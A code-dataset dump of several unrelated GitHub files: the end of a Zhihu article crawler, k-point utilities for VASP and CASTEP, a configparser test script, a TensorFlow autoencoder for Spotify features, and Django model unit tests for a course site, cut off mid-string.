{}\".format(len(rs['data'])))\r\n return rs['data']\r\n else:\r\n print(\"data is empty!\")\r\n else:\r\n print(\"user {} failed!\".format(member_name))\r\n\r\ndef get_api_results(api_url, params, headers):\r\n try:\r\n r = session.get(api_url,\r\n params=params,\r\n headers=req_headers,\r\n timeout=10)\r\n if r.status_code == 200:\r\n # print(\"user {} success.\".format(member_name))\r\n if 'Content-Encoding' in r.headers and r.headers['Content-Encoding'] == 'br':\r\n # print('br decode.')\r\n # Google brotli无损压缩算法: https://github.com/google/brotli\r\n # https://pypi.org/project/Brotli\r\n r_text = brotli.decompress(r.content)\r\n info = json.loads(r_text)\r\n else:\r\n info = r.json()\r\n return info\r\n else:\r\n print(\"status code: %d\" % r.status_code)\r\n code_errors.append(r.status_code)\r\n except Exception as e:\r\n print(\"Error! {}\".format(e))\r\n return None\r\n\r\nuser_tokens = {}\r\nwith open('zhihu-users.txt', 'r') as f:\r\n for line in f:\r\n user_info = json.loads(line.strip())\r\n for user_token, followe_info in user_info.items():\r\n if user_token not in user_tokens:\r\n user_tokens[user_token] = 0\r\n if followe_info['url_token'] not in user_tokens:\r\n user_tokens[followe_info['url_token']] = 0\r\n\r\nprint(\"整理完毕, 共有用户个数: {}\".format(len(user_tokens)))\r\nif os.path.isfile('zhihu-articles.txt'):\r\n f = open('zhihu-articles.txt', 'a')\r\n print(\"继续追加文件.\")\r\nelse:\r\n f = open('zhihu-articles.txt', 'w')\r\n print(\"create article file.\")\r\nusers_processed = []\r\nif os.path.isfile('users-processed.break'):\r\n with open('users-processed.break', 'r') as fb:\r\n users_processed = json.loads(fb.read())\r\n print(\"已处理用户数: {}\".format(len(users_processed)))\r\n\r\ntry:\r\n for member_name in user_tokens:\r\n if member_name in users_processed:\r\n print(\"{} 已处理, 跳过.\".format(member_name))\r\n continue\r\n rs = get_articles(api_url, member_name)\r\n if rs:\r\n article_info = {\r\n member_name: rs\r\n }\r\n f.write(json.dumps(article_info))\r\n f.write(\"\\n\")\r\n else:\r\n print(\"用户: {} 没有文章.\".format(member_name))\r\n users_processed.append(member_name)\r\n with open('users-processed.break', 'w') as fb:\r\n fb.write(json.dumps(users_processed))\r\n print(\"已处理用户数: {}\".format(len(users_processed)))\r\n time.sleep(0.5)\r\n if code_errors and len(code_errors) > 3:\r\n print(\"errors: {} 次数过多! \".format(code_errors))\r\n f.close()\r\n session.close()\r\n print(\"exit.\")\r\n break\r\nexcept KeyboardInterrupt:\r\n print(\"Ctrl+C.\")\r\n session.close()\r\n f.close()\r\n print(\"exit.\")\r\n","repo_name":"zengzhiying/comprehensive","sub_path":"zhihu_crawl/articles_crawl.py","file_name":"articles_crawl.py","file_ext":"py","file_size_in_byte":5275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19017541810","text":"\"\"\"\nUtility functions\n\"\"\"\nimport re\nfrom pathlib import Path\nfrom typing import Union, List\nimport numpy as np\nfrom castepinput import CellInput, Block\n\nRE_COMMENT = re.compile(r'[!#]')\n\n\ndef write_kpoints(kpoints: Union[np.ndarray, list], outpath, *args, code='vasp', **kwargs):\n \"\"\"\n Write the kpoints to a file\n\n :param kpoints: A Nx3 array of the kpoint coordinates (fractional) to be written.\n :param outpath: Path of the output file to be used.\n :param code: The code that the kpoint file is used for.\n \"\"\"\n kpoints = np.asarray(kpoints)\n\n if code == 'vasp':\n return write_kpoints_vasp(kpoints, outpath, *args, **kwargs)\n if code == 'castep':\n return write_kpoints_castep(kpoints, outpath, *args, **kwargs)\n raise NotImplementedError(f'DFT code: {code} is not implemented')\n\n\ndef write_kpoints_castep(kpoints: Union[np.ndarray, list], dest, source=None, tag='spectral', weights=None, **kwargs):\n \"\"\"\n Write kpoints to a CASTEP input file.\n Optically can use an existing file as the template and update it.\n \"\"\"\n _ = kwargs\n if source is not None:\n cell = CellInput.from_file(source)\n else:\n cell = CellInput()\n\n if weights is None:\n cell[f'{tag}_kpoints_list'.upper()] = Block([f'{k[0]:.10f} {k[1]:.10f} {k[2]:.10f}' for k in kpoints])\n else:\n cell[f'{tag}_kpoints_list'.upper()] = Block([f'{k[0]:.10f} {k[1]:.10f} {k[2]:.10f} {w:.10f}' for k, w in zip(kpoints, weights)])\n\n cell.save(dest)\n\n\ndef write_kpoints_vasp(kpoints: Union[np.ndarray, list],\n outpath: str = 'KPOINTS',\n comment: str = '',\n weights: Union[None, List[float]] = None,\n **kwargs):\n \"\"\"\n Write kpoints to VASP KPOINTS file\n\n :param kpoints: A list of kpoints to be written\n :param outpath: Path to the output file\n :param comments: Comments to be put into the `KPOINTS` file\n :param weights: If given, the weighting of the kpoints, otherwise all kpoints are equal weighted.\n \"\"\"\n _ = kwargs\n kpoints = np.asarray(kpoints)\n nkpts = kpoints.shape[0]\n\n with open(outpath, 'w', encoding='utf-8') as vaspkpt:\n vaspkpt.write(comment + '\\n')\n vaspkpt.write(f'{nkpts}\\n')\n vaspkpt.write('Rec\\n')\n for ik in range(nkpts):\n if weights is not None:\n line = f' {kpoints[ik, 0]:12.8f} {kpoints[ik, 1]:12.8f} {kpoints[ik,2]:12.8f} {weights[ik]:12.8f}\\n'\n else:\n line = f' {kpoints[ik, 0]:12.8f} {kpoints[ik, 1]:12.8f} {kpoints[ik,2]:12.8f} 1.0\\n'\n vaspkpt.write(line)\n\n\ndef read_kpoints_line_vasp(content, density=20):\n \"\"\"\n Read kpoints in the VASP KPOINTS file line mode, the results are resolved\n to explicit kpoints\n\n :returns: The kpoints, the comment, the labels, and the weights at each kpoint\n \"\"\"\n comment = content[0]\n density = int(content[1]) if content[1] else density\n\n assert content[2].lower().startswith('lin'), 'Only Line mode KPOINT file is supported'\n assert content[3].lower().startswith('rec'), 'Only Reciprocal coorindates are supported!'\n\n segs = []\n labels = []\n for line in content[4:]:\n tokens = line.split()\n if not tokens:\n continue\n point = [float(x) for x in tokens[:3]]\n labels.append(tokens[-1])\n segs.append(point)\n # Process the segments\n kpoints = []\n labels_loc = []\n for i in range(int(len(segs) / 2)):\n k1 = segs[i * 2]\n k2 = segs[i * 2 + 1]\n # Check for duplicate end point\n if kpoints and kpoints[-1] == k1:\n kpoints.pop()\n labels_loc.pop()\n this_seg = np.linspace(k1, k2, density)\n labels_loc.append((len(kpoints), labels[i]))\n kpoints.extend(this_seg.tolist())\n labels_loc.append((len(kpoints) - 1, labels[i + 1]))\n return kpoints, comment, labels_loc, None\n\n\ndef read_kpoints(path='KPOINTS', code='vasp', **kwargs):\n \"\"\"\n Read the kpoints from a given file\n\n This function dispatches to code-specific function based on the `code` keyword variable.\n\n \"\"\"\n if code == 'vasp':\n return read_kpoints_vasp(path, **kwargs)\n if code == 'castep':\n return read_kpoints_castep(path, **kwargs)\n raise NotImplementedError(f'DFT code: {code} is not implemented')\n\n\ndef read_kpoints_vasp(path='KPOINTS'):\n \"\"\"\n Read kpoints from a KPOINTS file containing reciprocal space coordinates (fractional)\n\n :returns: The kpoints, the comment, the labels, and the weights at each kpoint.\n \"\"\"\n content = Path(path).read_text(encoding='utf-8').split('\\n')\n comment = content[0]\n nkpts = int(content[1])\n if content[2].lower().startswith('lin'):\n return read_kpoints_line_vasp(content)\n assert content[2].lower().startswith('rec'), 'Only Reciprocal space KPOINT file is supported'\n kpts = []\n labels = []\n weights = []\n ik = 0\n for line in content[3:]:\n tokens = line.split()\n this_kpt = [float(value) for value in tokens[:3]]\n weights.append(float(tokens[3]))\n\n if len(tokens) >= 5:\n labels.append([ik, tokens[4]])\n\n kpts.append(this_kpt)\n ik += 1\n if ik == nkpts:\n break\n return kpts, comment, labels, weights\n\n\ndef read_kpoints_castep(path, tag='spectral'):\n \"\"\"\n Read explicitly defined kpoints in a cell file to CASTEP\n \"\"\"\n lines = Path(path).read_text(encoding='utf-8').split('\\n')\n tags = [f'{tag}_kpoints_list', f'{tag}_kpoint_list']\n capture = False\n kpts = []\n weights = []\n labels = []\n for line in lines:\n # Skip and empty lines\n if not line.strip() or line.startswith('#'):\n continue\n\n if r'%block' in line.lower():\n block_name = line.split()[1].lower()\n if block_name in tags:\n capture = True\n continue\n\n if r'%endblock' in line.lower() and capture:\n block_name = line.split()[1].lower()\n if block_name not in tags:\n raise RuntimeError(f'Unexpected end of block detected {line}')\n break\n\n # Capturing mode - we are inside of a valid block\n if capture:\n tokens = line.strip().split()\n kpts.append(list(float(tmp) for tmp in tokens[:3]))\n if len(tokens) > 3:\n # Check if the weights are included\n if not RE_COMMENT.match(tokens[3]):\n weights.append(float(tokens[3]))\n sub_lines = RE_COMMENT.split(line)\n if len(sub_lines) > 1:\n # Handle case like: 0 0 0 0.1 # \\Gamma\n # Record the label and the index of the kpoint\n labels.append([len(kpts) - 1, sub_lines[1].split()[0]])\n if not weights:\n weights = None\n return kpts, '', labels, weights\n\n\ndef wrap_kpoints(kpoints: Union[list, np.ndarray]):\n \"\"\"Wrap the kpoints to range [-0.5, 0.5)\"\"\"\n kpoints = np.array(kpoints) + 0.5\n kpoints -= np.floor(kpoints)\n kpoints -= 0.5\n return kpoints\n\n\ndef find_unique(seq: np.ndarray, func=None):\n \"\"\"\n Find unique slices along the first dimension of an np.array.\n This is function is not optimised for high performance and has a O(N^2) scaling.\n\n :return: A tuple of (unique, unique_idx, inv_mapping)\n \"\"\"\n if func is None:\n # Use equality condition\n def _func(x, y):\n \"\"\"Check elements of x and y are all the same\"\"\"\n return np.all(x == y)\n\n func = _func\n\n mapping_inv = np.zeros(len(seq), dtype=int) - 1\n unique_idx = []\n nobj = len(seq)\n for i in range(nobj):\n # Have this object been mapped?\n if mapping_inv[i] >= 0:\n continue\n # This object has not been mapped to any unique obj identified\n unique_idx.append(i)\n mapping_inv[i] = len(unique_idx) - 1\n # Forward search for any object that is identical with this object\n for j in range(i + 1, nobj):\n if func(seq[i], seq[j]):\n # j is the same as i\n mapping_inv[j] = len(unique_idx) - 1\n\n unique_idx = np.array(unique_idx)\n return seq[unique_idx], unique_idx, mapping_inv\n\n\ndef reduce_kpoints(kpoints: Union[list, np.ndarray], time_reversal=True, rounding_digits=10):\n \"\"\"\n Reduce the kpoint set by finding duplicated kpoints\n \"\"\"\n kpoints = np.asarray(kpoints)\n kpoints_rounded = np.round(wrap_kpoints(kpoints), rounding_digits)\n\n if not time_reversal:\n # No time-reversal - use np.unique for speed\n _, unique_id, inv_mapping = np.unique(kpoints_rounded, axis=0, return_inverse=True, return_index=True)\n else:\n\n def equality_time_reversal(x, y):\n \"\"\"Check if x == y or x == -y\"\"\"\n return np.all(x == y) | np.all(x == -y)\n\n _, unique_id, inv_mapping = find_unique(kpoints_rounded, equality_time_reversal)\n\n unique_k = kpoints[unique_id]\n return unique_k, unique_id, inv_mapping\n\n\ndef kpoints_equal(k1, k2, time_reversal=False, atol=1e-5):\n \"\"\"Return two if two kpoints are equivalent to each other\"\"\"\n if np.allclose(wrap_kpoints(k1), wrap_kpoints(k2), atol=atol):\n return True\n if time_reversal and np.allclose(wrap_kpoints(k1), -wrap_kpoints(k2), atol=atol):\n return True\n return False\n","repo_name":"SMTG-UCL/easyunfold","sub_path":"easyunfold/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9413,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"27093736975","text":"''' Test configuration profiles etc. '''\n\n#import yaml\nimport configparser\nimport os, sys\n\nconfig = configparser.ConfigParser()\nconfig.sections()\nconfig.read('ChargeProfiles/profiles.ini')\nprint(config.sections())\n\ncount = 0\nfor item in config.sections(): \n print(item)\n count +=1\nprint('Found ' + str(count) + ' configurations.')\n\nsomefield = input('Input which one to explore:\\n')\n\nvaldict = {}\n\ntry:\n for key in config[somefield]: \n print(key + ': ' + config[somefield][key])\n valdict[key] = config[somefield][key]\n#for key in config['LiIon']: print(key)\n\n#for key in valdict: print(key + ': ' + valdict[key])\n\n# Need to figure out if should put limits and sococv in one thing.. nested key/vals?? need internet\n\nexcept KeyError:\n print('Key error, that was an invalid input')\nexcept Exception as e:\n print('[-] SHTF.')\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n #print(exc_type, fname, exc_tb.tb_lineno) # why this not conv to str?\n print('[-] Exception Caught.\\nType: ' + str(exc_type) + '\\nText: ' \n + str(e) + '\\nLine: ' + str(exc_tb.tb_lineno) + '\\nIn file: ' \n + str(fname))\n sys.exit(10)\n\n","repo_name":"sayboltm/TP3005P","sub_path":"TestSettings.py","file_name":"TestSettings.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"4870186217","text":"import tensorflow as tf\nimport numpy as np\nimport os\nimport sys\nimport pymongo\nfrom pymongo import MongoClient\nfrom tqdm import tqdm, trange\nimport traceback\n\nclass SpotifyAutoEncoder:\n spotify_feature_size = 35\n compressed_size = 100\n epochs = 10000\n model_directory = './spotify_encoder_trained_model'\n minimums = [-1.0, 0.0, -1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 4.12, 1.0, 22050, 1, 0.0, 0, 0.0, 0.0, 3.15, 0, 0.0, 0.0, 22050, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n maximums = [1.0, 145.35692, 2.048, 1.0, 4995.31424, 1.0, 0.0, 1.0, 4.12, 4978.86331, 22050, 1, 249.441, 0, 1.0, 11, 3.15, 0, 1, 5, 110146679, 6.275, 0.996, 1.0, 4995315, 1.0, 1.0, 11, 1.0, 6.275, 1, 0.969, 249.441, 5, 1.0]\n\n def __init__(self):\n self.difference = [1.0 if n == 0 else n for n in (\n np.array(self.maximums) - np.array(self.minimums))]\n self.sess = tf.Session()\n self.x = tf.placeholder(tf.float64, [None, self.spotify_feature_size], name='x')\n self.encoded_x = tf.placeholder(tf.float64, [None, self.compressed_size], name='encoded_x')\n encoder0 = tf.layers.dense(self.x, self.compressed_size, activation=tf.nn.relu, name='encoder0')\n encoder1 = tf.layers.dense(encoder0, self.compressed_size, activation=tf.nn.relu, name='encoder1')\n encoder2 = tf.layers.dense(encoder1, self.compressed_size, activation=tf.nn.relu, name='encoder2')\n encoder3 = tf.layers.dense(encoder2, self.compressed_size, activation=tf.nn.relu, name='encoder3')\n encoder4 = tf.layers.dense(encoder3, self.compressed_size, activation=tf.nn.relu, name='encoder4')\n self.encoder = encoder4\n self.training_decoder = self.build_decoder(self.encoder, self.spotify_feature_size, reuse=False)\n self.decoder = self.build_decoder(self.encoded_x, self.spotify_feature_size)\n self.loss = tf.reduce_sum(tf.abs(self.x - self.training_decoder), name='loss')\n self.train = tf.train.AdamOptimizer().minimize(self.loss, name='train')\n tf.add_to_collection('x', self.x)\n tf.add_to_collection('encoded_x', self.encoded_x)\n tf.add_to_collection('encoder', self.encoder)\n tf.add_to_collection('decoder', self.decoder)\n tf.add_to_collection('training_decoder', self.training_decoder)\n tf.add_to_collection('loss', self.loss)\n tf.add_to_collection('train', self.train)\n self.saver = tf.train.Saver()\n\n @staticmethod\n def build_decoder(x, output_shape, reuse=True):\n decoder0 = tf.layers.dense(x, SpotifyAutoEncoder.compressed_size, activation=tf.nn.relu, reuse=reuse, name='decoder0')\n decoder1 = tf.layers.dense(decoder0, SpotifyAutoEncoder.compressed_size, activation=tf.nn.relu, reuse=reuse, name='decoder1')\n decoder2 = tf.layers.dense(decoder1, SpotifyAutoEncoder.compressed_size, activation=tf.nn.relu, reuse=reuse, name='decoder2')\n decoder3 = tf.layers.dense(decoder2, SpotifyAutoEncoder.compressed_size, activation=tf.nn.relu, reuse=reuse, name='decoder3')\n decoding = tf.layers.dense(decoder3, output_shape, activation=tf.nn.relu, reuse=reuse, name='decoder_out')\n return decoding\n\n def start_training(self, load_existing_model=True):\n if load_existing_model and os.path.exists(self.model_directory):\n self.load_trained_model()\n else:\n self.sess.run(tf.global_variables_initializer())\n epoch_iterator = trange(self.epochs)\n for e in epoch_iterator:\n current_sum = 0\n count = 0\n batch_size = 128\n batch_count = 0\n batch = []\n try:\n for track in tqdm(MongoClient().albart.tracks.find(), total=MongoClient().albart.tracks.count()):\n if batch_count >= batch_size:\n try:\n feed_dict = {self.x: batch}\n loss, _ = self.sess.run([self.loss, self.train], feed_dict=feed_dict)\n count += 1\n current_sum += loss\n batch_count = 0\n batch = []\n except Exception as e:\n traceback.print_exc()\n continue\n else:\n feature = self.json_to_spotify_feature(track)\n if feature is None:\n continue\n batch.append(feature)\n batch_count += 1\n if len(batch) > 0:\n try:\n feed_dict = {self.x: batch}\n loss, _ = self.sess.run([self.loss, self.train], feed_dict=feed_dict)\n count += 1\n current_sum += loss\n except Exception as e:\n traceback.print_exc()\n continue\n except Exception as e2:\n traceback.print_exc()\n continue\n finally:\n self.save_trained_model()\n epoch_iterator.set_description('Epoch {} average training loss: {}'.format(e, (current_sum / count) / batch_size))\n\n def save_trained_model(self):\n self.saver.save(self.sess, os.path.join(self.model_directory, 'model'))\n\n def load_trained_model(self):\n self.saver.restore(self.sess, tf.train.latest_checkpoint(self.model_directory))\n\n def encode(self, spotify_feature):\n return self.sess.run(self.encoder, feed_dict={self.x: spotify_feature})\n\n def decode(self, encoded_spotify_feature):\n return self.sess.run(self.decoder, feed_dict={self.encoded_x: encoded_spotify_feature})\n\n def json_to_spotify_feature(self, json, return_key_structure=False, normalize=True):\n spotify_feature = []\n analysis = json['analysis']\n analysis_keys = analysis.keys()\n for key in analysis_keys:\n if analysis[key] is not None and not isinstance(analysis[key], str):\n spotify_feature.append(\"analysis.\" + key if return_key_structure else analysis[key])\n features = json['features'][0]\n if features is None:\n return None\n features['track_href'] = None\n features['analysis_url'] = None\n features['uri'] = None\n features['type'] = None\n features['id'] = None\n features_keys = features.keys()\n features_keys.sort()\n for key in features_keys:\n if features[key] is not None and not isinstance(features[key], str):\n spotify_feature.append(\"features.\" + key if return_key_structure else features[key])\n if not return_key_structure:\n spotify_feature = [0.0 if feature == '' else float(feature) for feature in spotify_feature]\n if return_key_structure:\n return spotify_feature\n else:\n result = np.array(spotify_feature)\n if normalize:\n return (result - np.array(self.minimums)) / self.difference\n else:\n return result\n\n\ndef main():\n auto_encoder = SpotifyAutoEncoder()\n auto_encoder.start_training()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kamenomagic/albumart","sub_path":"spotify_auto_encoder.py","file_name":"spotify_auto_encoder.py","file_ext":"py","file_size_in_byte":7279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21632055127","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nimport os, sys\nimport datetime\nimport shutil\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom django.utils import timezone\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth import get_user_model\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom ..models import *\n\nunicode_string = '☀☁☂☃☄★☆☇☈'\ncourse_name = 'Test Course ☆'\ncourse_slug = 'mtoc-psy'\n\nclass PageTest(TestCase):\n def test_content_accepts_unicode(self):\n '''The str() method returns proper utf-8 in Python 2, or proper unicode in Python 3.'''\n\n page = Page(slug='test', title=unicode_string)\n page.save()\n self.assertTrue(page.pk)\n page = Page.objects.get(title=unicode_string)\n page_representation = str(page)\n if sys.version_info >= (3,0,0):\n page_representation = page_representation.encode('utf-8')\n string_representation = unicode_string.encode('utf-8')\n self.assertEqual(page_representation, string_representation)\n\n def test_homepage_exists(self):\n '''A page with an empty slug should have been automatically created'''\n self.assertTrue(Page.objects.filter(slug='').exists())\n\n def test_get_absolute_url(self):\n '''The get_absolute_url() function return the 'homepage' urlpattern when the slug is empty, or the 'page' urlpattern when the slug is not empty'''\n\n homepage_url = reverse('homepage')\n about_page_url = reverse('page', args=['about'])\n page = Page.objects.get(slug='')\n self.assertEqual(page.get_absolute_url(), homepage_url)\n page.slug = 'about'\n self.assertEqual(page.get_absolute_url(), about_page_url)\n\nclass ProgrammeTest(TestCase):\n def test_name_accepts_unicode(self):\n '''The str() method returns proper utf-8 in Python 2, or proper unicode in Python 3.'''\n\n programme = Programme(name=unicode_string)\n programme.save()\n self.assertTrue(programme.pk)\n programme = Programme.objects.get(name=unicode_string)\n programme_representation = str(programme)\n if sys.version_info >= (3,0,0):\n programme_representation = programme_representation.encode('utf-8')\n string_representation = unicode_string.encode('utf-8')\n self.assertEqual(programme_representation, string_representation)\n\nclass CourseTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n\n def test_string_representation(self):\n '''The string representation of a course object is equal to \"Course name (colloquial name)\"'''\n\n correct_representation = '{} ({})'.format(self.course.name, self.course.colloquial_name())\n if sys.version_info < (3,0,0):\n representation = unicode(self.course)\n else:\n representation = str(self.course)\n self.assertEqual(representation, correct_representation)\n\n def test_colloquial_name(self):\n '''The colloquial name for a course with the slug \"mtoc-psy\" becomes \"MTO-C PSY\"'''\n\n colloquial_name = self.course.slug.replace('-', ' ').replace('mto', 'mto-').upper()\n self.assertEqual(self.course.colloquial_name(), colloquial_name)\n\n def test_url_functions(self):\n '''The get_absolute_url() function returns the \"course\" urlpattern with the course slug as the sole argument. The url() function returns a proper hyperlink (for use in the admin).'''\n\n correct_url = reverse('course', args=[self.course.slug])\n correct_html = '{}'.format(correct_url, correct_url)\n self.assertEqual(self.course.get_absolute_url(), correct_url)\n self.assertEqual(self.course.url(), correct_html)\n\nclass SessionTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session1 = Session(course=self.course)\n self.session1.save()\n self.session = self.session1\n self.session2 = Session(course=self.course)\n self.session2.save()\n self.session3 = Session(course=self.course)\n self.session3.save()\n\n def test_string_representation(self):\n '''The string representation of a session object is equal to \"Course code: Session X\"'''\n\n representation = '{}: Session {}'.format(self.course.colloquial_name(), self.session.number)\n self.assertEqual(str(self.session), representation)\n\n def test_get_absolute_url(self):\n '''The absolute url of a session is the \"session\" urlpattern with the course slug and session number as arguments.'''\n\n correct_url = reverse('session', args=[\n self.course.slug,\n self.session.number,\n ])\n self.assertEqual(self.session.get_absolute_url(), correct_url)\n\n def test_number(self):\n '''The session number is relative: i.e. session 1 is always the first session in the queryset course.sessions'''\n\n self.assertEqual(self.session1.number, 1)\n self.assertEqual(self.session2.number, 2)\n self.assertEqual(self.session3.number, 3)\n\nclass AssignmentTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.assignment1 = Assignment(session=self.session)\n self.assignment1.save()\n self.assignment = self.assignment1\n self.assignment2 = Assignment(session=self.session)\n self.assignment2.save()\n self.assignment3 = Assignment(session=self.session)\n self.assignment3.save()\n\n def test_string_representation(self):\n '''The string representation of an assignment is equal to \"Assignment X\"'''\n\n representation = 'Assignment {}'.format(self.assignment.number)\n self.assertEqual(str(self.assignment), representation)\n\n def test_get_absolute_url(self):\n '''The absolute url of an assignment is the \"assignment\" urlpattern with the course slug, session number, and assignment number as arguments.'''\n\n correct_url = reverse('assignment', args=[\n self.course.slug,\n self.session.number,\n self.assignment.number,\n ])\n self.assertEqual(self.assignment.get_absolute_url(), correct_url)\n\n def test_number(self):\n '''The assignment number is relative: i.e. assignment 1 is always the first assignment in the queryset session.assignments'''\n\n self.assertEqual(self.assignment1.number, 1)\n self.assertEqual(self.assignment2.number, 2)\n self.assertEqual(self.assignment3.number, 3)\n\n def test_at_least_one_step(self):\n '''Creating an assignment also creates an associated first step'''\n\n self.assertIsInstance(self.assignment.steps.first(), Step)\n\n def test_step_count(self):\n '''The function nr_of_steps() returns the number of steps'''\n\n self.assertEqual(self.assignment.nr_of_steps(), 1)\n for i in range(10):\n Step(assignment=self.assignment).save()\n self.assertEqual(self.assignment.nr_of_steps(), i+2)\n\nclass StepTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.assignment = Assignment(session=self.session)\n self.assignment.save()\n self.step = self.assignment.steps.first()\n self.step1 = self.step\n self.step2 = Step(assignment=self.assignment)\n self.step2.save()\n self.step3 = Step(assignment=self.assignment)\n self.step3.save()\n\n def test_string_representation(self):\n '''The string representation of a step is equal to \"Step X\"'''\n\n representation = 'Step {}'.format(self.step.number)\n self.assertEqual(str(self.step), representation)\n\n def test_get_absolute_url(self):\n '''The absolute url of a step is the \"assignment\" urlpattern with the course slug, session number, and assignment number as arguments, with an additional GET parameter \"step\" that includes the step number'''\n\n correct_url = reverse('assignment', args=[\n self.course.slug,\n self.session.number,\n self.assignment.number,\n ]) + '?step=' + str(self.step.number)\n self.assertEqual(self.step.get_absolute_url(), correct_url)\n\n def test_number(self):\n '''The step number is relative: i.e. step 1 is always the first step in the queryset assignment.steps'''\n\n self.assertEqual(self.step1.number, 1)\n self.assertEqual(self.step2.number, 2)\n self.assertEqual(self.step3.number, 3)\n\nclass CompletedStepTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.assignment = Assignment(session=self.session)\n self.assignment.save()\n self.step = self.assignment.steps.first()\n self.user = get_user_model()(username='test')\n self.user.save()\n self.completedstep = CompletedStep(step=self.step, whom=self.user)\n\n def test_string_representation(self):\n '''A completed step is represented as \"username has completed Step X\"'''\n\n representation = \"{} has completed {}\".format(self.user.username, str(self.step))\n self.assertEqual(str(self.completedstep), representation)\n\nclass ClassTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.klass = Class(session=self.session, number='Testklass 1', ticket='abc')\n self.klass.save()\n for i in range(20):\n get_user_model()(username='student' + str(i)).save()\n self.klass.students = get_user_model().objects.all()\n teacher = get_user_model()(username='teacher')\n teacher.save()\n self.klass.teacher = teacher\n self.klass.save()\n\n def test_string_representation(self):\n '''Classes are represented as \"Class X of Session Y\"'''\n\n representation = 'Class {} of {}'.format(self.klass.number, str(self.session))\n self.assertEqual(str(self.klass), representation)\n\n def test_student_count(self):\n '''The function \"nr_of_students()\" returns the number of students.'''\n\n self.assertEqual(self.klass.nr_of_students(), 20)\n self.assertEqual(self.klass.nr_of_students(), self.klass.students.count())\n\nclass PathFunctionsTest(TestCase):\n def setUp(self):\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.assignment = Assignment(session=self.session)\n self.assignment.save()\n self.step = self.assignment.steps.first()\n\n def test_session_path(self):\n '''The function session_path(), given an object and a filename, returns the relative url of the object's \"session\" attribute with the cleaned filename appended. E.g., session/1/filename.pdf'''\n\n dirty_filename = 'fílénámé.pdf☆'\n clean_filename = 'filename.pdf'\n correct_path = os.path.join(self.session.get_absolute_url()[1:], clean_filename)\n class Object:\n session = self.session\n obj = Object()\n self.assertEqual(session_path(obj, dirty_filename), correct_path)\n\n def test_image_path(self):\n '''The function image_path(), given an object and a filename, returns the relative url of the object's \"step.assignment.session\" attribute with the string \"images\" and the cleaned filename appended. E.g., session/1/images/filename.jpg'''\n\n dirty_filename = 'fílénámé.jpg☆'\n clean_filename = 'filename.jpg'\n correct_path = os.path.join(self.session.get_absolute_url()[1:], 'images', clean_filename)\n class Object:\n step = self.step\n obj = Object()\n self.assertEqual(image_path(obj, dirty_filename), correct_path)\n\nclass DownloadTest(TestCase):\n def setUp(self):\n filename = 'download.txt'\n contents = b'This file was automatically created during the unittesting of the Autodidact application. Feel free to remove it.'\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.mediaroot = os.path.join(settings.MEDIA_ROOT, 'unittest' + datetime.datetime.now().isoformat())\n with self.settings(MEDIA_ROOT=self.mediaroot):\n self.download = Download(session=self.session)\n self.download.file = SimpleUploadedFile(filename, contents)\n self.download.save()\n\n def test_write_permissions(self):\n '''The stored file should actually exists on disk, otherwise the media directory probably doesn't have write permissions.'''\n\n path = os.path.join(self.mediaroot, str(self.download.file))\n self.assertTrue(os.path.isfile(path))\n\n def test_string_representation(self):\n '''The string representation is simply the filename'''\n\n self.assertEqual(str(self.download), os.path.basename(str(self.download.file)))\n\n def test_url(self):\n '''The url() function simply returns the file.url attribute'''\n\n self.assertEqual(self.download.url(), self.download.file.url)\n\n def tearDown(self):\n shutil.rmtree(self.mediaroot)\n\nclass PresentationTest(TestCase):\n def setUp(self):\n filename = 'presentation.txt'\n contents = b'This file was automatically created during the unittesting of the Autodidact application. Feel free to remove it.'\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.mediaroot = os.path.join(settings.MEDIA_ROOT, 'unittest' + datetime.datetime.now().isoformat())\n with self.settings(MEDIA_ROOT=self.mediaroot):\n self.presentation = Presentation(session=self.session)\n self.presentation.file = SimpleUploadedFile(filename, contents)\n self.presentation.save()\n\n def test_write_permissions(self):\n '''The stored file should actually exists on disk, otherwise the media directory probably doesn't have write permissions.'''\n\n path = os.path.join(self.mediaroot, str(self.presentation.file))\n self.assertTrue(os.path.isfile(path))\n\n def test_string_representation(self):\n '''The string representation is simply the filename'''\n\n self.assertEqual(str(self.presentation), os.path.basename(str(self.presentation.file)))\n\n def test_url(self):\n '''The url() function simply returns the file.url attribute'''\n\n self.assertEqual(self.presentation.url(), self.presentation.file.url)\n\n def tearDown(self):\n shutil.rmtree(self.mediaroot)\n\nclass ClarificationTest(TestCase):\n def setUp(self):\n filename = 'clarification.txt'\n contents = b'This file was automatically created during the unittesting of the Autodidact application. Feel free to remove 